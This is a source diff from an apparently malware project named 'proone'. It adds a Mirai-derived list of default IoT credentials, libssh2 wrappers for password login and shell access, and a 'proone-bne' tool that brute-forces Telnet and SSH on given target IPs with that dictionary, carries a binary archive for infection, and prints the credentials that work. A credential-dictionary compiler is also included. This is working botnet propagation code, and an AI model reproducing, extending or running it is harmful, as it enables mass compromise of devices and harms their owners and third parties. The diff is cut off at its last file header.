+struct prne_cred_dict_raw_entry {
+ char *id;
+ char *pw;
+ uint8_t weight;
+};
+
+struct prne_cred_dict {
+ const char *m;
+ prne_cred_dict_entry_t *arr;
+ size_t cnt;
+};
+
+void prne_init_cred_dict (prne_cred_dict_t *p);
+void prne_free_cred_dict (prne_cred_dict_t *p);
+
+bool prne_build_cred_dict (
+ const prne_cred_dict_raw_entry_t *arr,
+ const size_t cnt,
+ uint8_t **out_m,
+ size_t *out_l);
+bool prne_dser_cred_dict (
+ prne_cred_dict_t *dict,
+ const uint8_t *buf,
+ const size_t len);
diff --git a/src/data/cred_dict.sample.txt b/src/data/cred_dict.sample.txt
new file mode 100644
index 0000000..3709e86
--- /dev/null
+++ b/src/data/cred_dict.sample.txt
@@ -0,0 +1,63 @@
+# Sample dictionary from Mirai bot net
+10 root xc3511
+9 root vizxv
+8 root admin
+7 admin admin
+6 root 888888
+5 root xmhdipc
+5 root default
+5 root juantech
+5 root 123456
+5 root 54321
+5 support support
+4 root
+4 admin password
+4 root root
+4 root 12345
+3 user user
+3 admin
+3 root pass
+3 admin admin1234
+3 root 1111
+3 admin smcadmin
+2 admin 1111
+2 root 666666
+2 root password
+2 root 1234
+1 root klv123
+1 Administrator admin
+1 service service
+1 supervisor supervisor
+1 guest guest
+1 guest 12345
+1 guest 12345
+1 admin1 password
+1 administrator 1234
+1 666666 666666
+1 888888 888888
+1 ubnt ubnt
+1 root klv1234
+1 root Zte521
+1 root hi3518
+1 root jvbzd
+4 root anko
+1 root zlxx.
+1 root 7ujMko0vizxv
+1 root 7ujMko0admin
+1 root system
+1 root ikwb
+1 root dreambox
+1 root user
+1 root realtek
+1 root 00000000
+1 admin 1111111
+1 admin 1234
+1 admin 12345
+1 admin 54321
+1 admin 123456
+1 admin 7ujMko0admin
+1 admin 1234
+1 admin pass
+1 admin meinsm
+1 tech tech
+0 mother fucker
diff --git a/src/libssh2.c b/src/libssh2.c
new file mode 100644
index 0000000..b55e093
--- /dev/null
+++ b/src/libssh2.c
@@ -0,0 +1,375 @@
+#include "libssh2.h"
+#include "util_ct.h"
+#include "util_rt.h"
+#include "pth.h"
+
+#include <stdbool.h>
+#include <errno.h>
+
+
+typedef struct {
+ LIBSSH2_SESSION *s;
+ int fd;
+} lssh2_cbctx_s_t;
+
+typedef struct {
+ LIBSSH2_SESSION *s;
+ const char *id;
+ const char *pw;
+ unsigned int id_len;
+ unsigned int pw_len;
+ void *ret;
+} lssh2_cbctx_ua_cred_t;
+
+typedef struct {
+ LIBSSH2_SESSION *s;
+ LIBSSH2_CHANNEL *ret;
+} lssh2_cbctx_open_channel_t;
+
+typedef struct {
+ LIBSSH2_CHANNEL *c;
+ void *buf;
+ size_t len;
+ int s_id;
+} lssh2_cbctx_ch_f_t;
+
+typedef struct {
+ LIBSSH2_SESSION *s;
+ int reason;
+ const char *desc;
+ const char *lang;
+} lssh2_cbctx_discon_t;
+
+static ssize_t lssh2_crippled_send (
+ int __fd,
+ const void *__buf,
+ size_t __n,
+ int __flags)
+{
+ errno = 0;
+ return -1;
+}
+
+static ssize_t lssh2_crippled_recv (
+ int __fd,
+ void *__buf,
+ size_t __n,
+ int __flags)
+{
+ errno = 0;
+ return -1;
+}
+
+static int lssh2_handle (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ pth_event_t ev,
+ void *ctx,
+ int (*lssh2_f)(void*))
+{
+ int f_ret;
+ struct pollfd pfd;
+
+ pfd.fd = fd;
+ while (true) {
+ f_ret = lssh2_f(ctx);
+ if (f_ret != LIBSSH2_ERROR_EAGAIN) {
+ break;
+ }
+
+ f_ret = libssh2_session_block_directions(s);
+ pfd.events = 0;
+ if (f_ret & LIBSSH2_SESSION_BLOCK_INBOUND) {
+ pfd.events |= POLLIN;
+ }
+ if (f_ret & LIBSSH2_SESSION_BLOCK_OUTBOUND) {
+ pfd.events |= POLLOUT;
+ }
+
+ f_ret = prne_pth_poll(&pfd, 1, -1, ev);
+ if (f_ret < 0) {
+ break;
+ }
+ else if (f_ret == 0) {
+ f_ret = -1;
+ errno = ETIMEDOUT;
+ break;
+ }
+ }
+
+ return f_ret;
+}
+
+static int lssh2_handshake_f (void *p) {
+ lssh2_cbctx_s_t *ctx = (lssh2_cbctx_s_t*)p;
+ return libssh2_session_handshake(ctx->s, ctx->fd);
+}
+
+int prne_lssh2_handshake (LIBSSH2_SESSION *s, const int fd, pth_event_t ev) {
+ lssh2_cbctx_s_t ctx;
+ ctx.fd = fd;
+ ctx.s = s;
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_handshake_f);
+}
+
+static int lssh2_ua_pwd_f (void *p) {
+ lssh2_cbctx_ua_cred_t *ctx = (lssh2_cbctx_ua_cred_t*)p;
+ return libssh2_userauth_password_ex(
+ ctx->s,
+ ctx->id,
+ ctx->id_len,
+ ctx->pw,
+ ctx->pw_len,
+ NULL);
+}
+
+int prne_lssh2_ua_pwd (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ const char *id,
+ const char *pw,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ua_cred_t ctx;
+ const size_t id_len = prne_nstrlen(id);
+ const size_t pw_len = prne_nstrlen(pw);
+
+ if (id_len > UINT_MAX || pw_len > UINT_MAX) {
+ errno = E2BIG;
+ return -1;
+ }
+
+ ctx.s = s;
+ ctx.id = id;
+ ctx.id_len = (unsigned int)id_len;
+ ctx.pw = pw;
+ ctx.pw_len = (unsigned int)pw_len;
+
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ua_pwd_f);
+}
+
+static int lssh2_open_channel_f (void *p) {
+ lssh2_cbctx_open_channel_t *ctx = (lssh2_cbctx_open_channel_t*)p;
+ int err;
+
+ ctx->ret = libssh2_channel_open_session(ctx->s);
+ if (ctx->ret == NULL) {
+ err = libssh2_session_last_errno(ctx->s);
+ prne_dbgast(err != 0);
+ }
+ else {
+ err = 0;
+ }
+
+ return err;
+}
+
+LIBSSH2_CHANNEL *prne_lssh2_open_ch (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ pth_event_t ev,
+ int *err)
+{
+ lssh2_cbctx_open_channel_t ctx;
+ int f_ret;
+ ctx.s = s;
+ ctx.ret = NULL;
+
+ f_ret = lssh2_handle(s, fd, ev, &ctx, lssh2_open_channel_f);
+ prne_chk_assign(err, f_ret);
+ return ctx.ret;
+}
+
+static int lssh2_ch_req_pty_f (void *p) {
+ lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p;
+ return libssh2_channel_request_pty(ctx->c, (const char*)ctx->buf);
+}
+
+int prne_lssh2_ch_req_pty (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ const char *term,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ch_f_t ctx;
+ ctx.c = c;
+ ctx.buf = (void*)term;
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_req_pty_f);
+}
+
+static int lssh2_ch_sh_f (void *p) {
+ lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p;
+ return libssh2_channel_shell(ctx->c);
+}
+
+int prne_lssh2_ch_sh (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ch_f_t ctx;
+ ctx.c = c;
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_sh_f);
+}
+
+static int lssh2_ch_io_f (void *p) {
+ lssh2_cbctx_ch_f_t *ctx = (lssh2_cbctx_ch_f_t*)p;
+ ssize_t ret;
+
+ switch (ctx->s_id) {
+ case 0:
+ ret = libssh2_channel_write(ctx->c, ctx->buf, ctx->len);
+ break;
+ case 1:
+ ret = libssh2_channel_read(ctx->c, ctx->buf, ctx->len);
+ break;
+ case 2:
+ ret = libssh2_channel_read_stderr(ctx->c, ctx->buf, ctx->len);
+ break;
+ default: ret = -1;
+ }
+
+ return (int)ret;
+}
+
+int prne_lssh2_ch_read (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ const bool s_err,
+ void *buf,
+ const size_t len,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ch_f_t ctx;
+ if (len > INT_MAX) {
+ errno = E2BIG;
+ return -1;
+ }
+ ctx.c = c;
+ ctx.buf = buf;
+ ctx.len = len;
+ ctx.s_id = s_err ? 2 : 1;
+
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_io_f);
+}
+
+int prne_lssh2_ch_write (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ const void *buf,
+ const size_t len,
+ pth_event_t ev)
+{
+ lssh2_cbctx_ch_f_t ctx;
+ if (len > INT_MAX) {
+ errno = E2BIG;
+ return -1;
+ }
+ ctx.c = c;
+ ctx.buf = (void*)buf;
+ ctx.len = len;
+ ctx.s_id = 0;
+
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ch_io_f);
+}
+
+static int lssh2_disconn_f (void *p) {
+ lssh2_cbctx_discon_t *ctx = (lssh2_cbctx_discon_t*)p;
+ return libssh2_session_disconnect_ex(
+ ctx->s,
+ ctx->reason,
+ ctx->desc,
+ ctx->lang);
+}
+
+int prne_lssh2_discon (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ const int reason,
+ const char *desc,
+ const char *lang,
+ pth_event_t ev)
+{
+ lssh2_cbctx_discon_t ctx;
+ ctx.s = s;
+ ctx.reason = reason;
+ ctx.desc = desc;
+ ctx.lang = lang;
+
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_disconn_f);
+}
+
+static int lssh2_ua_list_f (void *p) {
+ lssh2_cbctx_ua_cred_t *ctx = (lssh2_cbctx_ua_cred_t*)p;
+ int err;
+
+ ctx->ret = libssh2_userauth_list(ctx->s, ctx->id, ctx->id_len);
+ if (ctx->ret == NULL) {
+ err = libssh2_session_last_errno(ctx->s);
+ }
+ else {
+ err = 0;
+ }
+
+ return err;
+}
+
+const char *prne_lssh2_ua_list (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ const char *username,
+ pth_event_t ev,
+ int *out_err)
+{
+ lssh2_cbctx_ua_cred_t ctx;
+ int err;
+ ctx.s = s;
+ ctx.id = username;
+ ctx.id_len = strlen(username);
+
+ err = lssh2_handle(s, fd, ev, &ctx, lssh2_ua_list_f);
+ prne_chk_assign(out_err, err);
+ return (const char*)ctx.ret;
+}
+
+static int lssh2_ua_authd (void *p) {
+ lssh2_cbctx_s_t *ctx = (lssh2_cbctx_s_t*)p;
+ return libssh2_userauth_authenticated(ctx->s);
+}
+
+int prne_lssh2_ua_authd (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ pth_event_t ev)
+{
+ lssh2_cbctx_s_t ctx;
+ ctx.s = s;
+ ctx.fd = fd;
+ return lssh2_handle(s, fd, ev, &ctx, lssh2_ua_authd);
+}
+
+void prne_lssh2_cripple_session (LIBSSH2_SESSION *s) {
+ #pragma GCC diagnostic push
+ #pragma GCC diagnostic ignored "-Wpedantic"
+ libssh2_session_callback_set(
+ s,
+ LIBSSH2_CALLBACK_SEND,
+ (void*)lssh2_crippled_send);
+ libssh2_session_callback_set(
+ s,
+ LIBSSH2_CALLBACK_RECV,
+ (void*)lssh2_crippled_recv);
+ #pragma GCC diagnostic pop
+}
+
+void prne_lssh2_free_session (LIBSSH2_SESSION *s) {
+ if (s == NULL) {
+ return;
+ }
+ prne_lssh2_cripple_session(s);
+ libssh2_session_free(s);
+}
diff --git a/src/libssh2.h b/src/libssh2.h
new file mode 100644
index 0000000..df7d315
--- /dev/null
+++ b/src/libssh2.h
@@ -0,0 +1,73 @@
+#pragma once
+#include <stdint.h>
+#include <stdbool.h>
+#include <stddef.h>
+
+#include <libssh2.h>
+#include <pthsem.h>
+
+
+int prne_lssh2_handshake (LIBSSH2_SESSION *s, const int fd, pth_event_t ev);
+int prne_lssh2_ua_pwd (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ const char *id,
+ const char *pw,
+ pth_event_t ev);
+LIBSSH2_CHANNEL *prne_lssh2_open_ch (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ pth_event_t ev,
+ int *err);
+int prne_lssh2_ch_req_pty (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ const char *term,
+ pth_event_t ev);
+int prne_lssh2_ch_sh (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ pth_event_t ev);
+int prne_lssh2_ch_read (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ const bool s_err,
+ void *buf,
+ const size_t len,
+ pth_event_t ev);
+int prne_lssh2_ch_write (
+ LIBSSH2_SESSION *s,
+ LIBSSH2_CHANNEL *c,
+ const int fd,
+ const void *buf,
+ const size_t len,
+ pth_event_t ev);
+int prne_lssh2_discon (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ const int reason,
+ const char *desc,
+ const char *lang,
+ pth_event_t ev);
+const char *prne_lssh2_ua_list (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ const char *username,
+ pth_event_t ev,
+ int *err);
+int prne_lssh2_ua_authd (
+ LIBSSH2_SESSION *s,
+ const int fd,
+ pth_event_t ev);
+
+/* Workaround for the library's shitty design
+*
+* Cripples LIBSSH2_SESSION's ability to send() and recv() so that
+* the library can't use the fd. This is used to guarantee that *_free()
+* functions never return EAGAIN.
+*/
+void prne_lssh2_cripple_session (LIBSSH2_SESSION *s);
+void prne_lssh2_free_session (LIBSSH2_SESSION *s);
diff --git a/src/pack.c b/src/pack.c
index 10d9a54..e62af2b 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -503,3 +503,25 @@ ssize_t prne_bin_rcb_read (
{
return ctx->read_f(ctx, buf, len, prc, err);
}
+
+bool prne_index_nybin (
+ const uint8_t *m_nybin,
+ const size_t nybin_len,
+ const uint8_t **m_dv,
+ size_t *dv_len,
+ const uint8_t **m_ba,
+ size_t *ba_len)
+{
+ if (nybin_len < 8) {
+ return false;
+ }
+ *dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]);
+ if (8 + *dv_len > nybin_len) {
+ return false;
+ }
+ *m_dv = m_nybin + 8;
+ *m_ba = m_nybin + 8 + prne_salign_next(*dv_len, PRNE_BIN_ALIGNMENT);
+ *ba_len = nybin_len - (*m_ba - m_nybin);
+
+ return true;
+}
diff --git a/src/pack.h b/src/pack.h
index 76b50ad..e31e07a 100644
--- a/src/pack.h
+++ b/src/pack.h
@@ -70,3 +70,11 @@ ssize_t prne_bin_rcb_read (
size_t len,
prne_pack_rc_t *prc,
int *err);
+
+bool prne_index_nybin (
+ const uint8_t *m_nybin,
+ const size_t nybin_len,
+ const uint8_t **m_dv,
+ size_t *dv_len,
+ const uint8_t **m_ba,
+ size_t *ba_len);
diff --git a/src/proone-bne.c b/src/proone-bne.c
new file mode 100644
index 0000000..fd897a7
--- /dev/null
+++ b/src/proone-bne.c
@@ -0,0 +1,313 @@
+#include <stdio.h>
+#include <string.h>
+#include <errno.h>
+
+#include <unistd.h>
+#include <fcntl.h>
+#include <arpa/inet.h>
+
+#include <mbedtls/entropy.h>
+
+#include "util_rt.h"
+#include "bne.h"
+#include "llist.h"
+
+
+static void print_help (FILE *o, const char *prog) {
+ fprintf(
+ o,
+ "Usage: %s <cred dict> <nybin> <target 0> ... [target N]\n"
+ "Options:\n"
+ "\t<cred dict>: path to credential dictionary\n"
+ "\t<nybin>: path to nybin\n"
+ "\ttarget N: IPv4 or IPv6 address\n",
+ prog);
+}
+
+static bool load_file (const int fd, uint8_t **m, size_t *len) {
+ bool ret = true;
+ uint8_t *buf;
+ size_t buf_size;
+ ssize_t f_ret;
+ void *ny;
+
+ buf_size = prne_getpagesize();
+ buf = prne_malloc(1, buf_size);
+ if (buf == 0) {
+ perror("prne_malloc()");
+ return false;
+ }
+
+ while (true) {
+ f_ret = read(fd, buf, buf_size);
+ if (f_ret == 0) {
+ break;
+ }
+ if (f_ret < 0) {
+ perror("read()");
+ ret = false;
+ break;
+ }
+
+ ny = prne_realloc(*m, 1, *len + f_ret);
+ if (ny == NULL) {
+ perror("prne_realloc()");
+ ret = false;
+ break;
+ }
+ *m = (uint8_t*)ny;
+ memcpy(*m + *len, buf, f_ret);
+ *len += f_ret;
+ }
+
+ prne_free(buf);
+ return ret;
+}
+
+static void report_result (const prne_bne_result_t *r) {
+ char ip_str[INET6_ADDRSTRLEN];
+ const char *vec_str = prne_bne_vector_tostr(r->vec);
+
+ prne_memzero(ip_str, INET6_ADDRSTRLEN);
+ if (vec_str == NULL) {
+ vec_str = "(unsuccessful)";
+ }
+
+ switch (r->subject->ver) {
+ case PRNE_IPV_4:
+ inet_ntop(AF_INET, r->subject->addr, ip_str, INET6_ADDRSTRLEN);
+ break;
+ case PRNE_IPV_6:
+ inet_ntop(AF_INET6, r->subject->addr, ip_str, INET6_ADDRSTRLEN);
+ break;
+ default: abort();
+ }
+
+ printf(
+ "- result:\n"
+ "\tsubject: %s\n"
+ "\terr: %d\n"
+ "\tvector: %s\n",
+ ip_str,
+ r->err,
+ vec_str);
+ if (r->vec >= 0) {
+ if (r->cred.id != NULL) {
+ printf(
+ "\tcred:\n"
+ "\t\tid: %s\n"
+ "\t\tpw: %s\n",
+ r->cred.id,
+ r->cred.pw);
+ }
+ if (r->prc >= 0) {
+ printf("\tprc: %d\n", r->prc);
+ }
+ }
+}
+
+int main (const int argc, const char **args) {
+ static prne_bne_vector_t ARR_VEC[] = {
+ PRNE_BNE_V_BRUTE_TELNET,
+ PRNE_BNE_V_BRUTE_SSH
+ };
+ int ret = 0;
+ int fd = -1;
+ uint8_t *m_cred_dict = NULL, *m_nybin = NULL;
+ size_t cred_dict_len = 0, nybin_len = 0;
+ const uint8_t *m_dv, *m_ba;
+ size_t dv_len, ba_len;
+ prne_ip_addr_t *arr = NULL;
+ size_t cnt = 0;
+ prne_cred_dict_t dict;
+ prne_bin_archive_t ba;
+ prne_bne_param_t param;
+ prne_pack_rc_t prc;
+ mbedtls_entropy_context entropy;
+ mbedtls_ctr_drbg_context ctr_drbg;
+ pth_event_t ev_root = NULL;
+ prne_llist_t wkr_list;
+
+ prne_init_cred_dict(&dict);
+ prne_init_bne_param(&param);
+ prne_init_bin_archive(&ba);
+ mbedtls_entropy_init(&entropy);
+ mbedtls_ctr_drbg_init(&ctr_drbg);
+ prne_init_llist(&wkr_list);
+
+ prne_assert(pth_init());
+
+ prne_assert(mbedtls_ctr_drbg_seed(
+ &ctr_drbg,
+ mbedtls_entropy_func,
+ &entropy,
+ NULL,
+ 0) == 0);
+
+// TRY
+ if (argc < 4) {
+ print_help(stderr, args[0]);
+ ret = 2;
+ goto END;
+ }
+
+ cnt = (size_t)argc - 3;
+ arr = (prne_ip_addr_t*)prne_calloc(sizeof(prne_ip_addr_t), cnt);
+ if (arr == NULL) {
+ ret = 2;
+ perror("prne_malloc()");
+ goto END;
+ }
+ for (size_t i = 0; i < cnt; i += 1) {
+ const char *str = args[i + 3];
+ prne_ip_addr_t *e = arr + i;
+
+ if (inet_pton(AF_INET6, str, e->addr)) {
+ e->ver = PRNE_IPV_6;
+ }
+ else if (inet_pton(AF_INET, str, e->addr)) {
+ e->ver = PRNE_IPV_4;
+ }
+ else {
+ ret = 2;
+ fprintf(stderr, "%s: invalid IP address\n", str);
+ goto END;
+ }
+ }
+
+ fd = open(args[1], O_RDONLY);
+ if (fd < 0) {
+ perror(args[1]);
+ ret = 1;
+ goto END;
+ }
+ if (!load_file(fd, &m_cred_dict, &cred_dict_len)) {
+ ret = 1;
+ goto END;
+ }
+ prne_close(fd);
+
+ fd = open(args[2], O_RDONLY);
+ if (fd < 0) {
+ perror(args[2]);
+ ret = 1;
+ goto END;
+ }
+ if (!load_file(fd, &m_nybin, &nybin_len)) {
+ ret = 1;
+ goto END;
+ }
+ prne_close(fd);
+
+ if (!prne_dser_cred_dict(&dict, m_cred_dict, cred_dict_len)) {
+ perror("prne_dser_cred_dict()");
+ ret = 1;
+ goto END;
+ }
+
+ if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) {
+ fprintf(stderr, "prne_index_nybin() failed.\n");
+ ret = 1;
+ goto END;
+ }
+
+ prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+ if (prc != PRNE_PACK_RC_OK) {
+ fprintf(
+ stderr,
+ "prne_index_bin_archive(): %d\n",
+ prc);
+ ret = 1;
+ goto END;
+ }
+
+ param.cred_dict = &dict;
+ param.vector.arr = ARR_VEC;
+ param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t);
+ param.rcb.m_dv = m_dv;
+ param.rcb.dv_len = dv_len;
+ param.rcb.ba = &ba;
+
+ for (size_t i = 0; i < cnt; i += 1) {
+ prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1);
+
+ prne_init_worker(w);
+ prne_assert(
+ w != NULL &&
+ prne_llist_append(&wkr_list, (prne_llist_element_t)w) != NULL);
+
+ param.subject = arr[i];
+ if (!prne_alloc_bne(w, &ctr_drbg, &param)) {
+ perror("prne_alloc_bne()");
+ abort();
+ }
+
+ w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx);
+ prne_assert(w->pth != NULL);
+ }
+
+ while (wkr_list.size > 0) {
+ // rebuild event
+ pth_event_free(ev_root, TRUE);
+ ev_root = NULL;
+ for (prne_llist_entry_t *e = wkr_list.head; e != NULL; e = e->next) {
+ prne_worker_t *w = (prne_worker_t*)e->element;
+ pth_event_t ev = pth_event(
+ PTH_EVENT_TID | PTH_UNTIL_TID_DEAD,
+ w->pth);
+
+ prne_assert(ev != NULL);
+ if (ev_root == NULL) {
+ ev_root = ev;
+ }
+ else {
+ pth_event_concat(ev_root, ev, NULL);
+ }
+ }
+
+ pth_wait(ev_root);
+
+ // reap
+ for (prne_llist_entry_t *e = wkr_list.head; e != NULL;) {
+ prne_worker_t *w = (prne_worker_t*)e->element;
+ pth_attr_t attr = pth_attr_of(w->pth);
+ pth_state_t state;
+
+ prne_assert(
+ attr != NULL &&
+ pth_attr_get(attr, PTH_ATTR_STATE, &state));
+ pth_attr_destroy(attr);
+ if (state == PTH_STATE_DEAD) {
+ void *result;
+
+ prne_assert(pth_join(w->pth, &result));
+ w->pth = NULL;
+ report_result((const prne_bne_result_t*)result);
+
+ w->free_ctx(w->ctx);
+ prne_free(w);
+ e = prne_llist_erase(&wkr_list, e);
+ }
+ else {
+ e = e->next;
+ }
+ }
+ }
+
+END: // CATCH
+ prne_free_llist(&wkr_list);
+ pth_event_free(ev_root, TRUE);
+ mbedtls_ctr_drbg_free(&ctr_drbg);
+ mbedtls_entropy_free(&entropy);
+ prne_free_cred_dict(&dict);
+ prne_free_bne_param(&param);
+ prne_free_bin_archive(&ba);
+ prne_close(fd);
+ prne_free(arr);
+ prne_free(m_cred_dict);
+ prne_free(m_nybin);
+
+ pth_kill();
+
+ return ret;
+}
diff --git a/src/proone-mkcdict.c b/src/proone-mkcdict.c
new file mode 100644
index 0000000..fd9abd0
--- /dev/null
+++ b/src/proone-mkcdict.c
@@ -0,0 +1,235 @@
+#include <stdio.h>
+#include <inttypes.h>
+#include <string.h>
+
+#include <regex.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#include "cred_dict.h"
+#include "util_rt.h"
+#include "llist.h"
+
+
+static regex_t re_entry, re_comment, re_empty;
+
+static void print_help (FILE *o, const char *prog) {
+ fprintf(
+ o,
+ "Usage: %s <cred file> <out file>\n"
+ "Options:\n"
+ "\t<cred file>: path to file listing credentials. \"-\" to read stdin\n"
+ "\t<out file>: path to output file. \"-\" for stdout\n"
+ "Cred File Format: <WEIGHT> <ID> [PW]\n"
+ "\t<WEIGHT>: uint8_t weight value\n"
+ "\t<ID>: c_str username\n"
+ "\t[PW]: c_Str password (optional)\n"
+ "\tNote:\n"
+ "\t\t- <ID> and <PW> are case-sensitive\n"
+ "\t\t- Lines start with \"#\" are ignored\n"
+ "Cred File Example:\n"
+ "\t# TP-Link\n"
+ "\t16\tadmin\tadmin\n"
+ "\t# Linux machine with empty root password\n"
+ "\t128\troot\n"
+ "\t# Another typical default cred\n"
+ "\t32\troot\t1234\n",
+ prog);
+}
+
+static int do_parse (
+ FILE *file,
+ prne_cred_dict_raw_entry_t **arr,
+ size_t *cnt)
+{
+ static const size_t RM_SIZE = 8;
+ regmatch_t rm[RM_SIZE];
+ char line[2][1024];
+ size_t nr_line = 0;
+ char *ent_weight, *ent_id, *ent_pw;
+ size_t sl_id, sl_pw;
+ prne_cred_dict_raw_entry_t ent;
+
+ while (true) {
+ if (fgets(line[0], sizeof(line[0]), file) == NULL) {
+ break;
+ }
+ nr_line += 1;
+
+ if (regexec(&re_empty, line[0], RM_SIZE, rm, 0) == 0 ||
+ regexec(&re_comment, line[0], RM_SIZE, rm, 0) == 0)
+ {
+ continue;
+ }
+ if (regexec(&re_entry, line[0], RM_SIZE, rm, 0) != 0) {
+ goto INV_LINE;
+ }
+
+ strcpy(line[1], line[0]);
+ prne_memzero(&ent, sizeof(prne_cred_dict_raw_entry_t));
+
+ line[1][rm[2].rm_eo] = 0; // terminate WEIGHT
+ line[1][rm[3].rm_eo] = 0; // terminate ID
+ ent_weight = line[1] + rm[2].rm_so;
+ ent_id = line[1] + rm[3].rm_so;
+ sl_id = rm[3].rm_eo - rm[3].rm_so;
+ if (rm[5].rm_so >= 0) { // PW
+ line[1][rm[5].rm_eo] = 0;
+ ent_pw = line[1] + rm[5].rm_so;
+ sl_pw = rm[5].rm_eo - rm[5].rm_so;
+ }
+ else {
+ ent_pw = "";
+ sl_pw = 0;
+ }
+
+ if (sscanf(ent_weight, "%"SCNu8, &ent.weight) != 1) {
+ goto INV_LINE;
+ }
+
+ ent.id = prne_alloc_str(sl_id);
+ ent.pw = prne_alloc_str(sl_pw);
+ prne_assert(ent.id != NULL && ent.pw != NULL);
+ memcpy(ent.id, ent_id, sl_id + 1);
+ memcpy(ent.pw, ent_pw, sl_pw + 1);
+
+ *arr = prne_realloc(*arr, sizeof(prne_cred_dict_raw_entry_t), *cnt + 1);
+ prne_assert(*arr != NULL);
+ (*arr)[*cnt] = ent;
+ *cnt += 1;
+ }
+
+ return 0;
+INV_LINE:
+ fprintf(
+ stderr,
+ "*** Invalid entry at line %zu: %s\n",
+ nr_line,
+ line[0]);
+ return 2;
+}
+
+int main (const int argc, const char **args) {
+ int ret = 0;
+ prne_cred_dict_t dict;
+ prne_cred_dict_raw_entry_t *arr = NULL;
+ uint8_t *m = NULL;
+ size_t m_len = 0;
+ size_t cnt = 0;
+ FILE *in_f = NULL;
+ bool own_in_f = false;
+ int out_fd = -1;
+
+ prne_assert(regcomp(
+ &re_entry,
+ // ^(\s+)?([0-9]{1,3})\s+(\S+)(\s+(\S+))?(\s+)?(#.*)?$
+ // number of captures: 7
+ // significant groups: <2>, <3>, [5]
+ "^(\\s+)?([0-9]{1,3})\\s+(\\S+)(\\s+(\\S+))?(\\s+)?(#.*)?$",
+ REG_EXTENDED | REG_ICASE) == 0);
+ prne_assert(regcomp(
+ &re_comment,
+ // ^(\s+)?#.*$
+ "^(\\s+)?#.*$",
+ REG_EXTENDED | REG_ICASE) == 0);
+ prne_assert(regcomp(
+ &re_empty,
+ // ^(\s+)?$
+ "^(\\s+)?$",
+ REG_EXTENDED | REG_ICASE) == 0);
+
+ prne_init_cred_dict(&dict);
+
+// TRY
+ // parse args
+ if (argc < 3) {
+ print_help(stderr, args[0]);
+ ret = 2;
+ goto END;
+ }
+
+ if (prne_nstreq(args[1], "-")) {
+ in_f = stdin;
+ }
+ else {
+ own_in_f = true;
+ in_f = fopen(args[1], "r");
+
+ if (in_f == NULL) {
+ perror(args[1]);
+ ret = 1;
+ goto END;
+ }
+ }
+
+ if (prne_nstreq(args[2], "-")) {
+ out_fd = STDOUT_FILENO;
+ }
+ else {
+ out_fd = open(args[2], O_WRONLY | O_CREAT | O_TRUNC, 0644);
+
+ if (out_fd < 0) {
+ perror(args[2]);
+ ret = 1;
+ goto END;
+ }
+ }
+ if (isatty(out_fd)) {
+ fprintf(stderr, "Refusing to write on terminal.\n");
+ ret = 1;
+ goto END;
+ }
+
+ ret = do_parse(in_f, &arr, &cnt);
+ if (ret != 0) {
+ goto END;
+ }
+ if (!prne_build_cred_dict(arr, cnt, &m, &m_len)) {
+ ret = 1;
+ perror("prne_build_cred_dict()");
+ goto END;
+ }
+ // test
+ if (!prne_dser_cred_dict(&dict, m, m_len)) {
+ ret = 1;
+ perror("prne_dser_cred_dict()");
+ goto END;
+ }
+ if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ for (size_t i = 0; i < dict.cnt; i += 1) {
+ fprintf(
+ stderr,
+ "%"PRIu8"\t%s\t%s\n",
+ dict.arr[i].weight,
+ dict.m + dict.arr[i].id,
+ dict.m + dict.arr[i].pw);
+ }
+ }
+
+ if (write(out_fd, m, m_len) != (ssize_t)m_len) {
+ ret = 1;
+ perror("write()");
+ goto END;
+ }
+
+END:
+ // clean up
+ prne_close(out_fd);
+ if (own_in_f && in_f != NULL) {
+ fclose(in_f);
+ }
+
+ regfree(&re_entry);
+ regfree(&re_comment);
+ regfree(&re_empty);
+
+ prne_free_cred_dict(&dict);
+ for (size_t i = 0; i < cnt; i += 1) {
+ prne_free(arr[i].id);
+ prne_free(arr[i].pw);
+ }
+ prne_free(arr);
+ prne_free(m);
+
+ return ret;
+}
diff --git a/src/proone.c b/src/proone.c
index 7f0ebf0..9302157 100644
--- a/src/proone.c
+++ b/src/proone.c
